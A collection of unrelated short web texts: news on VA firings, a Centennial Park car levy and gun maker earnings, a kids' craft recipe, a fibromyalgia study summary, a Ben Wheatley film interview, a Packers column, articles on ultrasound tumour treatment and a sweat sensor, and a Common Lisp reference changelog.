-Lawmakers and congressional aides poked holes in Department of Veterans Affairs Secretary Bob McDonald's Wednesday argument that accountability has returned to the agency because it has fired more than 3,700 people in the last two years.  The VA has been the focus of a scandal involving a systemic effort across the country to hide the long wait-times veterans faced when seeking medical care through the agency. That scandal has led to calls for officials to be fired, but just a few have been fired and many have either been given new jobs or allowed to retire.  McDonald has consistently argued in public that his agency is responsive to these calls, and reiterated that again in a Wednesday hearing at the Senate Veterans' Affairs Committee.  "All told, we've terminated 3,755 employees in the past two years," he said at a Senate Veterans' Affairs Committee hearing.  But a GOP congressional staffer who works on veterans' issues said "less than ten" have been fired for the wait-time scandal, according to the latest figures that the VA gives to lawmakers.  The staffer also argued that McDonald's claim that 3,755 people have been fired over the last two years actually shows that the VA has slowed down its firing activity. He noted that in fiscal year 2013, the year before the former VA secretary was fired over the scandal, 2,247 people were fired in that one year alone.  That means McDonald's claim of 3,755 firings over two years puts the VA at a pace of about 1,900 firings per year.  Sen. Jerry Moran, R-Kan., also pushed McDonald during the hearing about an employee with a criminal history who was allowed to resign instead of being terminated. Former physician's assistant Mark Wisner was hired despite having reported a criminal history, and later resigned after it was revealed he had committed sexual battery against at least seven patients.  "Are you telling me when someone resigns you lose your ability to fire them? Are you telling me that he beat you to the punch?" Moran asked.  McDonald responded by dodging the question of why he wasn't fired, and said that once employees have resigned for criminal wrongdoing, they are the responsibility of the courts.  "When somebody resigns they are no longer an employee, that's true in the private and the public sector. When someone resigns, they resign. Now obviously you have judicial options, which is occurring right now with this individual," said McDonald.  McDonald also said he opposes efforts to privatize the government-run health program at the VA, and described proponents of this idea as ignorant ideologues or merely motivated by their own self-interest.  "[B]eneath the banner of choice are always two things: interest and ideology. Let's face it, privatization would put more money into the pockets of people running health care corporations," said McDonald. "Then there are the ideologues who only deal with the issue in the simplest, laziest theoretical terms: government bad, private sector good. That's as far as the thinking goes."
-Summers in Arizona can become unbearably hot. That means there are many days our kids can’t stand being outside for long, and end up cooped up inside for hours at a time. I’m all about finding fun activities that help beat that summer boredom while inside and encourage their creativity. This fun DIY Scented Colored Glue is just the thing to keep them busy.  Supplies:  – Elmer’s school glue  – Kool-Aid packets (cherry, orange, lemonade, lime, blue raspberry lemonade, grape)  – Wooden skewers or popsicle sticks  – Small funnel  There are two ways you can prep this DIY Scented Colored Glue.  The first way is to empty the Kool-Aid packet in to the glue bottle and either shake vigorously, and/or stir with a long wooden skewer until the colored drink mix & glue have mixed completely.  I found the best way to prep this project was to pour the entire bottle of glue out in to a small bowl. If your glue is thicker you can heat it in the microwave for 10 seconds. Add your Kool-Aid drink mix to the glue, and using a popsicle stick mix until you’ve achieved the desired color. Then using a small funnel pour the glue back in to the glue bottle, using the popsicle stick to push the glue through the funnel. It should just run back in slowly by itself.  Be sure to rinse the bowl and small funnel with warm water and dish soap between each color mixing.  That’s it! This DIY Scented Colored Glue works best on firm papers like cardstock, poster board, or construction paper. The scents of these glues are super fun and fruity, and the kids will love painting with them.  Note: This school glue is washable, but once the Kool-Aid is added it can stain clothing so be careful when creating beautiful artwork.  Don’t forget to check out this other fun activity I shared the other day, the kids will love this Wax Paper Crayon Art!  This post was originally published at Skip to My Lou on (06/11/14)
-The 25-year plan said the park's roads are used for commuter parking and shortcuts in peak periods, often leading to an "unmanageable" number of vehicles. Robyn Parker says there will be no charge while she is environment minister. Credit:Edwina Pickles The fee would help pay for road maintenance and “remedial work on damaged trees caused by intensive car parking on their roots”. It would be phased in over five years. The move raised the possibility that thousands of genuine park users would be penalised in the crackdown, and prompted claims by Labor that the state government is “debauching” the city's parklands by forcing them to raise revenue. Parklands across Sydney are chasing new revenue streams as government finance dwindles.  Centennial Park receives 4 per cent of its annual operating budget from the state government, down from 20 per cent a decade ago. The funding will cease completely next financial year - a move the master plan said had created "financial challenges". A spokesman for Ms Parker said the government is investing $27 million over the next four years in capital expenditure to address "chronic under investment in the Centennial Parklands over many years", adding "this is a significant increase to previous governments". He said Ms Parker would "not agree" with any proposal put forward by the park's trust to introduce an access fee. About 8 million visits are made to the park each year. An estimated 60 per cent of people arrive by car – meaning even a small levy could reap millions of dollars annually. Centennial Parklands chief executive Kim Ellis said about 20 per cent of cars entering the park in the morning and afternoon peak were taking a shortcut to or from the city, which was “not in the spirit of how the park operates”.  He said community feedback on the draft master plan suggested a car levy be applied. “We are not entirely convinced but we will explore it over the next few years to see if these sorts of things might be viable,” he said. But Labor MP Luke Foley said Sydneysiders have enjoyed Centennial Park without charge for 125 years, and that should not change. “The massive pressure that Treasury places on our public parklands and botanical gardens to raise more and more private funds ultimately debauches these public institutions,” he said. “The park was created for the centenary of European settlement of Australia as a park for the people. That is, a place for public recreation for the growing city of Sydney ... not simply for the residents of Woollahra and Waverley."  Centennial Park Residents Association co-chairman Peter Tzannes opposed a vehicle levy, saying gates could be opened and closed at staggered times to prevent rat-running – but Mr Ellis said such measures have not been “entirely effective”. Bike Sydney president David Borella applauded any move to prioritise people over cars in the park, adding future improvements to public transport and pedestrian access meant in a few years, “people will have a real choice to leave the car at home”.
-The present observations, therefore, indicate the patients’ inability to recruit inhibitory and self defensive circuits against sensory repetition. The authors  Is thinking harder than it used to be? Do even little mental tasks seem effortful at times? It might not be that you’re thinking too little; it might be that you’re thinking too much.  The three pound supercomputer we call our brain is a powerful instrument; the most complex thinking instrument ever devised but even it has its limits. It has to pick and choose how it uses its resources. Throw all the stimuli in our environment at it and circuits are going to fry. In order to get by in our complex world – to plan, to organize, to decide, even just to move our bodies – requires that our brains disregard some stimuli and pay attention to others.  At its most basic level it goes like this: your brain picks up a background noise, a glint of light or an odor, checks it out; determines if it’s useful or a threat or nothing special – and proceeds accordingly. If it’s innocuous – the category the vast majority of stimuli fit into – it files it into the “don’t pay attention to” category and moves on to more important things.  At least that’s what is supposed to happen.  We know the brain is not doing so well with stimuli in fibromyalgia. It’s misinterpreting minor stimuli as pain. It doesn’t like crowded, high intensity environments. It often feels that the environment is too cold or too hot or it’s too loud. This hyper-reactive response to pain and other stimuli is thought to be the result of hyped up pain producing and slumbering pain inhibiting pathways.  The Study  Habituation deficit of auditory N100m in patients with fibromyalgia . Eur J Pain. 2016 May 10. doi: 10.1002/ejp.883. [Epub ahead of print]deficit of auditory N100m in patients with  These researchers wanted to know if a similar breakdown in inhibition was occurring at a very, very basic level. Were FM patients brains turning themselves off when faced with innocuous stimuli or were they remaining stubbornly on?  Many types of stimuli (temperature, pressure, light, odor) exist but these researchers used sound to test FM patients brains. They took 19 FM patients and healthy controls, plopped a magnetic helmet on their heads, covered their ears with earphones and had them watch slides of “Where’s Wally” while they stealthily introduced small sounds and then measured the electrical signals it evoked in the brain. If signals moderate over time the brain has given them a pass and begun using its resources to do other things. If the signals stayed strong the brain essentially was stuck.  The Results  They found that the FM patients brains stayed stubbornly fixated on the sounds; no evidence of a normal pattern of “habituation” was seen.  What to make of this? This isn’t the only place FM patients brains fail at inhibition. Perhaps in the same way their brains fail to inhibit pain producing pathways, they also fail to inhibit attention to stimuli. Studies indicate that a network in the brain designed specifically to tone things down called “the inhibitory network”) is er….inhibited in FM.  FM patients are not alone in this. The same pattern of reduced habituation has also been found in migraine and irritable bowel syndrome. This suggests, of course, that chronic pain comes with an extra added component – a distracted, inefficient and easily overwhelmed brain.  Why this is happening isn’t clear. Problems with the thalamus in migraine are believed to cause sensory gating issues in that disorder. Sensory gating refers to a process where the thalamus filters out unnecessary information before it gets to the upper regions of the brain. Without gating or filtering stimuli the brain would be overwhelmed. Both thalamic and sensory gating problems have been found in FM and chronic fatigue syndrome. A recent study, though, suggested that sensory gating might not be the issue.  Recent studies suggest that FM patients brains may simply have trouble encoding or figuring out what to do with a stimulus; i.e. they can’t figure out which basket to put it in.  A 2015 study exploring the processing of non-painful stimuli such as sound and light found that sensory processing cortices of the brain were under-performing. That slowed response in the lower (or outer) brain regions was accompanied by increased activation of the higher brain regions. (A similar pattern is seen in migraine.) That low-high pattern suggested that the higher regions of the brain might be struggling to interpret bad information passed onto them by the sensory cortices.  Reduced blood flows, exhaustion of the sensory cortices or a defensive down-regulation of the sensory cortices by the upper brain regions have been proposed to explain the problems with sensory processing.  Conclusion  At its core FM appears to be more a pain and sensory inhibiting disease than a pain producing one. Because the pain pathways in the brain need to respond like lightning to an injury, they’re essentially always on-always ready to engage. The problem in fibromyalgia is that they’re not being turned off.  The same appears to be true with sensory inhibition and with the autonomic nervous system. The brain is not turning off its attention to innocuous stimuli and the parasympathetic nervous system is not jumping in to tone down the sympathetic or “fight and flight” system. Deficiencies in the levels of inhibitory neurotransmitters (serotonin, y-aminobutyric acid) and in the feel-good endogenous opioid system have also been seen. Fibromyalgia is looking more and more like a disorder of blunted inhibition than anything else.  The authors suggest that future studies examine both sensory gating and the very early stages of stimuli processing. Whatever the cause, this and other studies suggest that the problems with processing sensory data extend far beyond the pain most associate with fibromyalgia.  On a personal level the consequences of poor sensory processing and the inability to turn off one’s attention to innocuous stimuli might include such things as problems with following conversations particularly in higher stimuli environments, difficulty concentrating, short attention spans, mental fatigue, the need to get to your cave, etc.
-Free Fire, backed with National Lottery funding through the BFI Film Fund, is available now on BFI Player It was the closing night gala of the 60th BFI London Film Festival  Film genres have often been mixed and matched in the films of Ben Wheatley. Down Terrace (2009) is a low-budget crime movie fused with soap opera. Kill List (2011) sets off as Loachian social realism before shape-shifting into folk horror. Sightseers (2012) is like Nuts in May (1976) ramped up into horror territory, while A Field in England (2013) is a historical caper that wanders off the map into full-blown psychedelia.  It’s tempting to see his new actioner Free Fire – co-written, as ever, by Wheatley’s partner Amy Jump – as a palate cleanser following his 2015 Ballard adaptation High-Rise. Set in a Boston warehouse, where an ensemble cast, including Sharlto Copley, Armie Hammer, Brie Larson, Cillian Murphy and Sam Riley, have congregated for a gun trade, it’s a 90-minute, single-location movie that keeps things simpler, getting down to brass tacks with a sustained onslaught of bullets and profanity as things go very badly haywire.  Asked what prompted this handbrake turn into making an all-out action movie, albeit one shot through with the co-writers’ trademark black humour, Wheatley is frank: “It’s just because I like them really. That’s my cunning plan for cinema: if I fancy doing something, then I’ll write it.”  “I’ve always been open that I like all kinds of cinema, from Tarkovsky to The Terminator. I don’t put them into separate categories. If you’re a film fan, you can like all genres and types of movie.”  Nonetheless, with Free Fire making a clamorous British bid to the frenetic tradition of John Woo, it was action cinema that was on our minds as we chatted to Wheatley about some of his all-time favourites in the genre.  Evil Dead II (1987)  Director Sam Raimi  I was at school when I first saw Evil Dead II. I didn’t know anything about it, but I randomly went to the cinema to see it. It was an empty cinema at about three o’clock in the afternoon. I’d never seen a film like that before – not just because of the horror side of it but more from the perspective of the camerawork. It was so kinetic and relentless and really very funny as well. I staggered out of the cinema gasping for air, and I told all my friends. They all went back to watch it the next day. It’s seldom now that I get the experience of watching a film I don’t know anything about, but that was one of my formative cinema experiences.  I watched The Evil Dead years later, because I couldn’t get hold of it. It was banned in the UK for a long time during the video nasties thing. But Evil Dead II is the masterwork I think. There are elements of it within Free Fire – that, mixed with Tom and Jerry cartoon stuff.  Hard Boiled (1992)  Director John Woo  Hard Boiled was another case of me encountering a kind of cinema I’d never seen before. Taking the crime genre and then turbocharging it the way that John Woo did… It’s a straight-up, serious crime film, but it’s full of virtuoso flourishes. The use of slow-motion, and the camera movements being so exaggerated, really struck me. It was the gameness of the stunt people – I’d only seen that kind of action in kung-fu movies, but to see so many people flying through the air… Usually in American cinema there’s a cut to save the stuntmen, but Hong Kong stuntmen seem to be a different breed who don’t mind landing on concrete. It makes for a much more fluid action.  The Wild Bunch (1969)  Director Sam Peckinpah  I saw it in the cinema when it got rereleased in the mid-1990s. I’d seen it on VHS before that, but I think that wouldn’t have been a widescreen copy. For me it’s the Peckinpah style of parallel editing, which takes a direct route from Eisenstein editing theory. In The Wild Bunch, what was inspiring was that you could run several different stories with different characters at the same time, crosscutting back and forth between them – some of the stories being in slow motion, some being in real time, and some in extreme slow motion. I’d never seen anything like that. That connects to Hard Boiled too, because the Woo style in that film is like a souped up version of the Peckinpah style crossed with the end sequence of Taxi Driver (1976).  Seven Samurai (1954)  Director Akira Kurosawa  Credit: Toho Co., Ltd  Seven Samurai is a big one for me. Kurosawa tells the story with such incredible efficiency. For a start you’ve got seven samurai, and at least as many villager characters, then lots of bandits as well. And the action and fighting is very complicated. Yet it’s all very clear. Some characters barely get any dialogue at all and yet you feel like you know them. For me, Kurosawa sets the template for the modern action movie. The Terminator, Aliens and all those James Cameron movies – they’re all direct descendents of Seven Samurai: action movies where the characters all have very solid points of view. The action and tactics are explained very clearly. You always know where you are in a movie like that, as opposed to the opposite end of the spectrum, which is the stuff that comes from Tony Scott, then goes to Michael Bay, which is the more impressionistic action style.  The Terminator (1984) / Aliens (1986)  Director James Cameron  The Terminator is a film I go back to a lot. It has some of the best car-to-car action sequences that I’ve seen. I like the relentless pace of it. All of Cameron’s films are pretty fantastic. Aliens is another one. I was watching the special edition version the other day. I don’t think they even get on the planet for an hour. It’s very, very slow, but once it kicks off it’s incredible.  Sitting Target (1972)  Director Douglas Hickox  I’m a big fan of Sitting Target, the Oliver Reed movie. Elements of that are very reminiscent of The Terminator. I don’t know if it’s a coincidence or not, but he almost looks like Arnie towards the end – the clothes he’s wearing are very similar and the way he moves around the place as a relentless killing machine. He’s quite robotic.  The Wild Geese (1978)  Director Andrew V. McLaglen  In Britain, it’s often war movies where you get all the action. Movies like A Bridge Too Far (1977) or The Eagle Has Landed (1976) – that’s stuff I watched a lot as a kid. I rewatched The Wild Geese the other day, which taps into all the things I liked as a kid – adventure and soldiers and mercenaries – but when you watch it now it’s quite distasteful and difficult to watch! But the action stuff in it is really good. It’s got that sodden, sleazy British late 70s/early 80s feel to it – you can feel the stale whisky off it. It’s Roger Moore, Richard Harris and Richard Burton – a weird one for Roger Moore because he would have been in the middle of doing all the Bond films. There are some great scenes of him punching through doors and dropping hand grenades and making people eat loads of heroin. At gun point. “Eat it!”  Mad Max: Fury Road (2015)  Director George Miller  The Road Warrior (1981) is one of my favourite movies. I’ve basically been chasing the thrill of seeing it as a kid ever since, but never getting to it. Until Fury Road. Miller’s pursuit of pure action is really interesting. The plot of Fury Road is that they drive somewhere and then they drive back – fighting all the way. You’re like, is that it? That’s great.  I like the fact that the film was developed from drawings. They drew a massive storyboard first, and then they wrote the script to fit on top of the storyboard. There’s space for all kinds of cinema, but it’s always a bit depressing when things become too literary – it’s a visual medium. You want things to be led by the images as much as possible. Sometimes cinema can get a little bit chatty and end up like filmed theatre or television.  To see this from a guy who’s reasonably old – that movie is setting the pace for action for everybody. It was like with The Wolf of Wall Street (2013): you get a full-tilt Scorsese and a full-tilt Miller in the same period. These guys are at the top of their game and still defining what cinema looks like. Everyone else is just following.  Dirty Harry (1971)  Director Don Siegel  I saw Dirty Harry when I was quite young. The great thing about VHS machines is you’d come down in the morning and see what you’d caught in the night. It was like fishing. The toploader would be up, with the tape sticking out, and you’d have to see if you’d got what you intended to record. Oh my god, it’s Dirty Harry – and you’d watch it at about eight in the morning when none of the adults were up. I watched it again a couple of weeks ago, and it’s still really dark.  Death Race 2000 (1975)  Director Paul Bartel  There didn’t seem to be any understanding of certification when I was little. The first films we ever rented were Watership Down (1978) and Death Race 2000. But the tracking was fucked on Watership Down, so I didn’t even watch it. I just went, “rabbits, whatever”, and watched Death Race 2000, which was like incredible exploitation jacked straight into my tiny young brain. Science fiction up to that point would have been Doctor Who and Blake’s 7, but then it’s suddenly people running over pensioners to score points on some futuristic game show! That set me up for life: five minutes of Watership Down and then 90 minutes of Death Race 2000 has defined everything I’ve done from that point forwards.  I also remember taping Ridley Scott’s Alien (1979), but getting the timing wrong on it so it recorded an hour and a half of golf and then the first 20 minutes of Alien, and the tape running out just as the alien pops out of John Hurt’s stomach – making for the most miserable short film ever made. I couldn’t believe the sickening click of the video recorder – ker-dunk and then it rewinds. Noooooo!
-As the Green Bay Packers have catapulted themselves to the top of the NFL, the time has come for the predictable foolishness that is bound to creep up with a month to go before the playoffs. Clearly, half the teams in the NFL are just trying to either play for respect or for moving up in the draft, so there has to be something to talk about. With your Packers at 9-3 and a cake schedule ahead of them, why not? Right?  Most of the silliness revolves around our favorite player, of course. Aaron Rodgers is the flashpoint of this extremely hot team, and well deserved. While he was the winner of the Super Bowl MVP back in 2010, he was really just one of many standout players on that team. In fact, you could make the case that he was still quite inconsistent, all the way through the playoffs and during the Super Bowl itself.  Since then, he has garnered his own NFL MVP award, has raised the passing efficiency rating expectations to three digits, and there is no doubt that this is Rodgers' team. He is the one we turn to when the going gets tough, and ever since he told us to "relax," he's delivered.  Which brings up the goofiness of the past week:  Is Aaron Rodgers a greater quarterback than Terry Bradshaw?  Would you trade Aaron Rodgers for Brett Favre in his prime right now?  Is Aaron Rodgers the best NFL quarterback of all time?  No, really. People are asking these questions. And they're serious about them. Rodgers, as of December 2014, is the greatest quarterback of all time. Pay no mind that the season isn't done, and that the Packers haven't won anything so far besides nine games (Breaking News: so have the Lions and the Cardinals). He has had a great season so far, but the platitutdes that come with winning approach ridiculous levels.  The best quarterback of all time? The kid just turned 31 years old, and is only in his seventh season as a full-time starter. Terrell Davis played seven seasons and can't sniff a jacket at Canton. Heck, Sterling Sharpe played seven seasons and probably won't be honored there, either.  Rodgers isn't a finished product yet, gang. He's got a lot of miles to go and more to prove if we really want to take him seriously in these kinds of conversations. Note I say "we" and not "he," as I don't really think Rodgers spends a lot of time worrying about his legacy compared to Bradshaw or Favre or Montana. You only have to watch his ever-present smirk (particularly in the newest Hans and Franz commercial) to realize he doesn't take himself or his own hype as seriously as we do.  Point is, there's a lot that can happen to a quarterback's career after age 31. Let's be honest: Rodgers might be the best he's ever been right now, but also the best he may ever be. There's a little thing called aging that is going to catch up with him sooner or later, and it will affect his game.  And then, it will affect us. Don't believe me? It was almost ten years ago that Brett Favre threw four interceptions in a playoff loss to the Minnesota Vikings. He was 35 years old at the time, and almost immediately the calls for a younger quarterback started, with doubts in that old arm that we once promised we'd never lose faith in. We all know what happened after that, including the drafting of a young man from Chico, California only three months following.  Coincidentally, Aaron Rodgers' present contract, a $110M deal with a $33M signing bonus and $55M guaranteed, expires at the end of the 2018 season ... when Rodgers will be 35 years old.  So, while talk like this is fun and passes the time until the playoffs start, I am going to give you five letters, for all you Packer fans out there.  R-E-L-A-X. Relax.  There's the slight possibility that Rodgers career will end like that of John Elway, winning two Super Bowls in his waning years and retiring on top of the world, forever worshipped and glorified by the team that claimed him for his entire career.  There's also the slight possibility that it could end completely the opposite way, just as it did for Favre, imploding in arrogance and ego in a explosive exodus from the team that leaves fans jaded (at best) or forever contemptuous (at worst).  But the reality will likely fall somewhere in the middle of those two possibilities, and as Rodgers' career starts to wind down, it will be time to talk about what his legacy actually will be, and how it compares to those legendary quarterbacks of lore. There will be talk of physical conditioning (remember Favre's "core fitness" kick in the early 2000s?) and the need for teammates to "help out" and "win Aaron one more ring." While many of us will be dreading the day Rodgers loses his arm strength, we'll notice more as his hips, knees, and ankles decline, forcing him to change his throwing motion or lose the accuracy that has defined him in his prime.  And the rumblings from the fans and the media will start: "Can Aaron still lead us to a Super Bowl?" Heck, Peyton Manning was traded away from the team he had led to one Super Bowl. So were Joe Montana and Johnny Unitas. Most great quarterbacks don't finish in a blaze of glory, but in a barely-glowing cinder in forgotten seasons that historians will gladly gloss over when evaluating a player's legacy.  But hey, let's be honest: Those years of watching a greying, aging Rodgers are a long time away (at least in football years). Now is not the time to worry about when those day will arrive.  And the same can be said for trying to figure out what Rodgers' legacy or place among the legendary quarterback would or should be.  Do I care whether or not Rodgers ends up being "better" than Terry Bradshaw? Of course not. It's a different game today, and dynasties no longer exist.  Do I care whether or not Rodgers or Favre were better in their prime? Of course not. Favre is retired and gone, and Rodgers is who we have right now.  Do I care whether someone thinks that Rodgers is or is not the "greatest quarterback in NFL history?"  No.  What I care about is that Aaron Rodgers is one man out of 45 players that are going to take on the Atlanta Falcons tonight, an important game for maintaining the half-game lead the Packers presently hold in the NFC North over the Detroit Lions. What I care about is making sure we win enough games in December to get this team into the playoffs. What I care about is seeing this team carry itself with the same swagger it showed in a Sunday Night game last week against the Patriots—except doing in when it counts in January and February.  And I will relish watching Rodgers in his prime right now, cheering every crazy and impossible throw. It's a special time for Packer fans, an amazing roller coaster ride that we get to share in, week in and week out for sixteen games ... and hopefully, three or four more after that.  So, I have a new message out there, for all of you in Packerland. To all of you who are passionately discussing whether Rodgers is just great or the greatest, better than or the best, apples to apples or apples to oranges.  I have five letters for you.  E-N-J-O-Y. Enjoy. Sit back and relish every moment.  We have the rest of our lives to worry about legacies.  --------------  C.D. Angeli is a long time Packer fan and feature writer at CheeseheadTV. He can be heard weekly as a co-host on Cheesehead Radio and is the good cop over at Packers Talk. Follow him on Twitter at @TundraVision.
-Smith & Wesson stock Friday was zooming, thanks to a stellar earnings report. The firearms maker also boosted its outlook for the rest of the year. Because of the strong business, its backlog of orders more than doubled from the same quarter last year, the company is concentrating on boosting production and building inventory.  “We are underserving the market at this moment, we all know that, and that's a great opportunity going forward for us,” CEO James Debney said in a conference call with analysts.  And another gun maker, Sturm, Ruger & Co., also hit a milestone of sorts in terms of meeting consumer demand. It produced its one-millionth gun of the year…well ahead of last year’s pace.  "It took us nearly all of 2011 to build one million firearms, but in 2012 we accomplished it on August 15th,” said Ruger President and CEO Mike Fifer in a statement.  What’s driving the demand that has gun makers cranking up production?  Speculation has focused on fears of a coming regulatory crackdown on gun ownership. Liberal administrations tend to be anti-gun and so, the thinking goes, an Obama re-election would set the stage for stricter gun purchasing requirements. Hence, people are buying now in anticipation of difficulty later.
-By Paul Rincon  Science reporter, BBC News  The technique is to be brought into clinical trials  They have built a device to beam waves of ultrasound into the body, generating bubbles at the site of a tumour.  When these bubbles "pop", they release energy as heat - killing rogue cells.  The UK team plans to apply its new technique in clinical trials; it will be used in treating patients with kidney and liver tumours.  These clinical trials of High Intensity Focused Ultrasound (Hifu) are being conducted at the Churchill Hospital in Oxford.  No surgery required  Hifu is non-invasive: studies have shown that it is at least as effective as surgery, without the risks of opening up the patient. It also limits the damage to healthy tissue which occurs in radiotherapy.  But by harnessing the energy released by the bubbles that form when tissue is exposed to intense ultrasound waves, the researchers say they can provide faster and better targeted Hifu treatment.  I like to call it the 'energy shovel', because it allows us to grab this energy and use it where it is needed  Constantin Coussios, University of Oxford  When any wave moves through matter, it weakens; and some of the energy is turned into heat. This is why microwaves heat up food and light waves from the Sun warm the Earth.  In Hifu, ultrasound waves from outside the human body are brought to a focus inside the body, causing intense local heating which kills cells.  The principle is the same as burning a hole in paper by focusing sunlight through a magnifying glass.  But the existing Hifu technique has two important limitations compared with surgery that are hindering its clinical uptake. First, it is very slow: it takes up to five hours to treat a 10cm tumour, compared with the 45 minutes or so it takes a surgeon to cut the tissue out.  Secondly, clinicians are working in the dark: without invasive surgery, the results can only be assessed after the treatment is over.  Temperature boost  By harnessing the tiny bubbles that form in tissue when it is exposed to focused ultrasound, the researchers found they could boost the heating effect by factor of 6-10 compared with conventional Hifu treatment.  The enhanced technique, being pioneered by Dr Constantin Coussios from Oxford's Biomedical Ultrasonics and Biotherapy Laboratory (BUBL), is based on a principle called inertial cavitation.  "Phantom", a gel that mimics the properties of tissue, is used in tests  The bubble continues to grow until it reaches a critical pressure threshold. It then collapses and redistributes the energy as high-frequency "broadband noise" - effectively triggering a miniature explosion.  The energy from this little bang gets absorbed locally, so that tumour cells are killed, but healthy tissue is left unscathed.  "I like to call it the 'energy shovel', because it allows us to grab this energy and use it where it is needed, delivering it as heat," Dr Coussios told BBC News.  Treatment and diagnosis  While bubbles are created spontaneously when ultrasound is focused on a target inside the body, these bubbles normally form and collapse very quickly.  The ultrasound technique is tested in a tank of water  Their solution is a machine that beams ultrasound waves into the body and also has a highly-tuned sensor at its centre. The sensor can "hear" the tiny bubbles collapsing - a sound which is a thousand times too high for dogs, let alone humans.  Currently, temperature changes in tissue are used as an indication of the success of Hifu treatment. But by the time these can be picked up, tissue in the focal region - and sometimes healthy tissue surrounding it - has often boiled.  Clinical trials  Dr Coussios commented: "If we can use cavitation to accelerate the treatment, better localise the treatment - meaning that you will never get pre-focal damage - deliver the treatment at a lower frequency so you can go deeper in the body, and if we can also use these bubbles to monitor the treatment in real time, we have solved all the major limitations of Hifu in one go."  However, the treatment is not suitable for all types of tumour. Where the cancer has "metastased", or spread to other tissue, the therapy would probably not be effective, said Dr Coussios.  Dr Coussios said he was working with a team at the Churchill Hospital to incorporate the technique he has developed into clinical Hifu trials currently underway there.  He said candidates for the procedure would generally be patients with isolated solid tumours in the kidneys or liver.  Paul.Rincon-INTERNET@bbc.co.uk
-Photo: John Rogers/Northwestern University A soft, skin‐mounted microfluidic device for capture, collection and analysis of sweat.  Advertisement Editor’s Picks Sweat Sensors Will Change How Wearables Track Your Health  Sweat could be the next thing wearable devices sense to track your health, researchers say. A new microfluidic skin patch capable of collecting and analyzing sweat has survived tests that included a grueling 104-kilometer bike race. And the next-generation wearable device has attracted the attention of companies such as cosmetics giant L’Oreal and a major sports beverage maker—not to mention the U.S. military. It could even pave the way for a painfree, bloodless method of prescreening people for diabetes in the future, according to its inventors.  The flexible sweat sensor collects sweat in a tiny tubing system as it’s worn against the skin. Different sections of the sensor slowly change color as they react to different levels of certain chemicals found within sweat. Any smartphone with the right app can take a picture of the sweat sensor to automatically interpret the color changes and biochemistry of the sweat as certain health signs. To tests the device’s ruggedness, volunteers even wore the sweat sensor during a long-distance, outdoor bicycling race.  “This is radically different from current-generation wearable devices that are a block of electronics strapped to the body,” says John Rogers, a physical chemist and materials scientist at the University of Illinois at Urbana-Champaign. “This allows a clinical-like precision measurement of health markers that physicians know how to interpret.”  Rogers’ group has previously developed soft electronics such as flexible, dissolvable brain implants. In this case, they minimized the use of electronics in the skin patch to ensure that it could be resilient and cheap enough for one-time use. The details on their work with an international team of South Korean and Chinese collaborators appeared last week in the online edition of the journal Science Translational Medicine.  The biggest challenge in making the sweat sensor was balancing the softness, thinness, flexibility and comfort of the device with its functionality as a health sensor, Rogers explains. The researchers ensured that the device could create a water-tight seal with the surface of the skin so that it could remain in place during even the most high-intensity exercise.  Photo: John Rogers/Northwestern University A soft, skin‐mounted microfluidic device for capture, collection and analysis of sweat  But they also needed to figure out how to make a functional sensor without relying on either cheap but rigid electronics or more expensive, flexible electronics. Their solution was to use a microfluidic system of tiny tubes to channel the sweat toward different absorbent sections capable of chemically reacting to the presence of the different sweat components.  By comparison, today’s athletic research facilities currently use absorbent pads or paper and bulky benchtop lab equipment to collect and analyze sweat.  “Our device uses microfluidic, lab-on-a-chip type approaches in sweat capture and analysis, and simple colorimetric chemistries for detection,” Rogers says. “Much different than previous approaches that rely on less sophisticated fluid capture schemes and more expensive electronic-based readout schemes.”  The readings collected by the sweat sensor seemed comparable to the current lab-based standards during a trial involving nine volunteers doing indoor cycling. Health readings included sweat rate and sweat loss, pH (an indicator of hydration levels), and concentrations of lactate, glucose, and chloride.  A separate trial tested the sweat sensor’s ability to hold up during a 104-kilometer bike race called the El Tour de Tucson. Marvin Slepian, an interventional cardiologist at the University of Arizona in Tucson who worked with Rogers’ team, enlisted the help of several cyclist friends—a total of 12 healthy volunteers—to carry out the outdoor trial. The resiliency of the devices under such tough conditions was a testament to the flexibility and ruggedness of the microfluidic tube system, which had been extensively modeled by research collaborators at Northwestern University in Illinois and Zhejiang University in China.  The sweat sensor can hold captured sweat for about 125 hours after being peeled off the skin as long as all the sensor channel openings are sealed. Even with open channels, the captured sweat remains for about 75 hours after removal from the skin.  Rogers and his collaborators believe it’s possible to eventually turn the experimental sweat sensor into cheap, disposable commercial devices. The disposable or recyclable design avoids complications such as cleaning and possible contamination during reuse. Their current goal is to make the sweat sensor into a device costing just $1 or $2.  Sweat sensors gets truly exciting when imagining the medical possibilites. Rogers’ lab has been in talks with a biomedical company about how such sweat sensors could eventually enable bloodless prescreening for diabetes. But first, the researchers need to boost the sensitivity range of the glucose sensing and nail down the correlation between glucose in sweat and in blood.  But even the current generation of flexible sweat sensors holds much promise for many different companies. L’Oreal, for example, played a large role in organizing and funding this particular study. The company is interested in using the sweat sensors to replace the bulkier research tools for understanding sweat chemistry and odor so it can develop new products. “As a cosmetics company, they’re basically a skin company when you think about it,” Rogers says.  Rogers’ lab has also been conducting additional exercise and physiology studies with an unnamed sports beverage company. And the U.S. Air Force has gotten on board with testing more advanced versions of the sweat sensors as worn by active-duty airmen at the Wright-Patterson Air Force Base near Dayton, Ohio.  The researchers have already developed and begun testing several different versions of sweat sensors beyond the one described last week; a consequence of the time lag between publishing research results and making progress in the lab. “At this point we’re two or three steps beyond what is being reported in this paper,” Rogers says.
-Introduction  Common Lisp Quick Reference is a free booklet with short descriptions of the thousand or so symbols defined in the ANSI standard. It comes with a comprehensive index.  This rather humble effort is by no means meant to rival the Common Lisp HyperSpec or any of the great introductory web resources and books. Its purpose is to give those who like a piece of dead tree in their hands a quick overview on things they know already, or some clue on what to look up elsewhere.  It is written in LaTeX and formatted for printing on both A4 and letter paper. After folding the sheets lengthwise, they can easily be turned into a handy booklet.  Please report any errors to trebbu@googlemail.com. Nitpickers welcome!  Latest Changes  2018-10-10 14:08:44 +0200  Fix bugs reported by Fengjing Xiao  - define-compiler-macro is a macro, not a function. - symbol-name and symbol-package aren't setfable.  2018-02-05 12:00:32 +0100  Initarg names don't need to be keywords  Fix definitions of defstruct, define-condition, signal, warn, error, cerror, and assert. Thanks to Fengjing Xiao for the bug report.  2018-02-05 11:55:28 +0100  Fix argument list of scale-float  Thanks to Fengjing Xiao for the bug report.  2018-01-23 12:36:42 +0100  CLOS-related initargs don't need to be keywords  Thanks to Fengjing Xiao for the hint.  2018-01-15 15:24:54 +0100  Remove a bit-rotten LaTeX dependency  Minor layout modifications.
